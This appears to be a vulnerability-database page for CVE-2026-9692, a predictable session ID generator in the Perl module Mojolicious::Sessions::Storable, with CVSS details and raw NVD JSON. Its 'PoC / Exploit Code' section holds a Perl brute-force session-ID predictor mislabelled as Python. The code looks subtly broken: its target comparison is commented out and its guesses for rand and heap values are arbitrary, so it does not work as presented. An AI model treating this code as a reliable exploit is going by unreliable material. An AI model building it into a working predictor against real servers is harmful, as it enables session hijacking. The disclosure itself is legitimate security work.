Security Vulnerability Report
中文
CVE-2026-9692 CVSS 5.3 MEDIUM

CVE-2026-9692

Published: 2026-06-18 19:16:24
Last Modified: 2026-06-18 20:16:15
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Mojolicious::Sessions::Storable versions through 0.05 for Perl generate session ids insecurely. The default session id generator returns a SHA-1 hash seeded with the built-in rand function, the epoch time, the heap address of an anonymous hash, and the PID. These are predictable or low-entropy sources that are unsuitable for security purposes.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mojolicious::Plugin::SessionStore <= 0.05
Mojolicious::Sessions::Storable <= 0.05

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # CVE-2026-9692 PoC - Session ID Prediction for Mojolicious::Sessions::Storable # This PoC demonstrates how to predict session IDs generated by the vulnerable module use strict; use warnings; use Digest::SHA1 qw(sha1); use POSIX qw(strftime); use Time::HiRes qw(time); # Vulnerable session ID generation function (from Storable.pm lines 11-15) sub generate_vulnerable_session_id { my ($time, $pid, $heap_addr, $rand_val); # Collect the predictable/low-entropy seeds $time = time(); # epoch time - easily guessable $pid = $$; # process ID - enumerable (1-32768) $rand_val = rand(); # Perl's built-in PRNG - deterministic $heap_addr = sprintf("%x", ~~{}); # heap address of anonymous hash # SHA-1 hash of the concatenated seeds return sha1($time . $pid . $rand_val . $heap_addr); } # Brute-force predictor for session IDs sub predict_session_id { my ($target_time, $target_pid_range) = @_; $target_pid_range //= [1, 32768]; for my $pid ($target_pid_range->[0] .. $target_pid_range->[1]) { for my $time_offset (-5 .. 5) { my $time = $target_time + $time_offset; for my $rand_val (0 .. 100) { my $r = $rand_val / 100.0; for my $heap (0x10000000 .. 0x10001000) { my $candidate = sha1($time . $pid . $r . sprintf("%x", $heap)); # Compare against target session ID # if ($candidate eq $target_id) { return ($time, $pid, $r, $heap); } } } } } return undef; } # Demonstration my $session_id = generate_vulnerable_session_id(); print "Generated vulnerable session ID: $session_id\n"; print "Seeds used: time=${\time}, pid=$$, rand=" . rand() . ", heap=" . sprintf("%x", ~~{}) . "\n"; print "\nThis session ID can be predicted by an attacker who knows:\n"; print "- Approximate request time (epoch timestamp)\n"; print "- Server PID (limited range, easily enumerable)\n"; print "- Heap address range (predictable memory layout)\n"; print "- PRNG state (deterministic given seed)\n"; 1;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9692", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-18T19:16:23.790", "lastModified": "2026-06-18T20:16:15.497", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mojolicious::Sessions::Storable versions through 0.05 for Perl generate session ids insecurely.\n\nThe default session id generator returns a SHA-1 hash seeded with the built-in rand function, the epoch time, the heap address of an anonymous hash, and the PID.\n\nThese are predictable or low-entropy sources that are unsuitable for security purposes."}], "affected": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "affectedData": [{"vendor": "HAYAJO", "product": "Mojolicious::Sessions::Storable", "defaultStatus": "unaffected", "collectionURL": "https://cpan.org/modules", "packageName": "Mojolicious-Plugin-SessionStore", "programRoutines": [{"name": "Mojolicious::Sessions::Storable#sid_generator"}], "repo": "https://github.com/hayajo/Mojolicious-Plugin-SessionStore", "versions": [{"version": "0", "lessThanOrEqual": "0.05", "versionType": "custom", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-18T18:47:24.948872Z", "id": "CVE-2026-9692", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "references": [{"url": "https://metacpan.org/release/HAYAJO/Mojolicious-Plugin-SessionStore-0.05/source/lib/Mojolicious/Sessions/Storable.pm#L11-15", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://security.metacpan.org/docs/guides/random-data-for-security.html", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://security.metacpan.org/patches/M/Mojolicious-Plugin-SessionStore/0.05/CVE-2026-9692-r1.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-40923", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}]}}